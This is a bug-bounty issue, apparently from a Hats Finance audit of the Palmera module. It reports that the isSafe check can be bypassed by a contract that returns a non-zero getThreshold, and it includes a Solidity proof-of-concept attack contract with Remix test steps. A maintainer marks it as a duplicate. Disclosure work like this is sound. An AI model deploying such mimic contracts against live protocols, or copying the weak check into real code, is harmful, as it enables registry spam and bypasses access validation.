hats-finance / Palmera-0x5fee7541ddcd51ba9f4af606f87b2c42eea655be

Palmera hierarchical module
0 stars 4 forks source link

Bypass of isSafe Validation Allows Malicious Contract Registrations and Spam the Palmera Module contracts with System-Wide Exploitation #58

Open hats-bug-reporter[bot] opened 5 months ago

hats-bug-reporter[bot] commented 5 months ago

Github username: -- Twitter username: -- Submission hash (on-chain): 0xf3d12a2b126f0114d78dad1ea5390251de5d9a26dec01c0b0bd7eb0751a2851b Severity: high

Description: Description\ The isSafe function in the Helpers contract is designed to validate whether a given address is a Safe Smart Account Wallet. However, this validation can potentially be bypassed by a malicious contract that mimics the behavior of a Safe Smart Account Wallet. This issue can lead to unauthorized access, spamming of data structures, Denial of Service (DoS) attacks, compromised security and governance.

Attack Scenario\ Attack Scenario

  1. Deploy Malicious Contracts: An attacker deploys multiple instances of a malicious contract 1 that mimics the behavior of a Safe Smart Account Wallet by implementing the getThreshold function to return a non-zero value.
  2. Call registerOrg: The attacker calls the registerOrg function multiple times, using the addresses of the deployed MaliciousSafe contracts.
  3. Impact: The orgHash array and other data structures are spammed with invalid entries, leading to excessive storage usage, increased gas costs, and potential performance degradation. The system's security and governance are compromised, and legitimate users face service disruption.

Attachments

  1. Proof of Concept (PoC) File

    Create the following files in Remix IDE to demonstrate the vulnerability:

  2. ISafe.sol

    
    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.23;
    
    interface ISafe {
        function getThreshold() external view returns (uint256);
    }
2. MaliciousSafe.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "./ISafe.sol";

contract MaliciousSafe is ISafe {
    function getThreshold() external pure override returns (uint256) {
        return 1; // Mimic a valid Safe Smart Account Wallet
    }
}
3. Helpers.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "@openzeppelin/contracts/utils/Address.sol";
import "./ISafe.sol";

contract Helpers {
    using Address for address;

    /// @notice Method to Validate if address is a Safe Smart Account Wallet
    /// @dev This method is used to validate if the address is a Safe Smart Account Wallet
    /// @param safe Address to validate
    /// @return bool
    function isSafe(address safe) public view returns (bool) {
        /// Check if the address is a Safe Smart Account Wallet
        if (safe.isContract()) {
            /// Check if the address is a Safe Multisig Wallet
            bytes memory payload = abi.encodeCall(ISafe.getThreshold, ());
            (bool success, bytes memory returnData) = safe.staticcall(payload);
            if (!success) return false;
            /// Check if the address is a Safe Smart Account Wallet
            uint256 threshold = abi.decode(returnData, (uint256));
            if (threshold == 0) return false;
            return true;
        } else {
            return false;
        }
    }
}
4. TestHelpers.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "./Helpers.sol";
import "./MaliciousSafe.sol";

contract TestHelpers {
    Helpers helpers;
    MaliciousSafe maliciousSafe;

    constructor() {
        helpers = new Helpers();
        maliciousSafe = new MaliciousSafe();
    }

    function testIsSafeBypass() public view returns (bool) {
        return helpers.isSafe(address(maliciousSafe));
    }
}

Run the Test in Remix
1. Open Remix IDE (https://remix.ethereum.org/).
2. Create the four files (ISafe.sol, MaliciousSafe.sol, Helpers.sol, and TestHelpers.sol) and copy the respective code into each file.
3. Compile all the contracts.
4. Deploy the TestHelpers contract.
5. Call the testIsSafeBypass function on the deployed TestHelpers contract.
If the testIsSafeBypass function returns true, it means the isSafe function can be bypassed by the MaliciousSafe contract. If it returns false, it means the isSafe function is robust against this specific bypass attempt.

2. **Revised Code File (Optional)**
<!-- If possible, please provide a second file containing the revised code that offers a potential fix for the vulnerability. This file should include the following information:
- Comment with a clear explanation of the proposed fix.
- The revised code with your suggested changes.
- Any additional comments or explanations that clarify how the fix addresses the vulnerability. -->
alfredolopez80 commented 5 months ago

duplicate #24 @0xmahdirostami @0xRizwan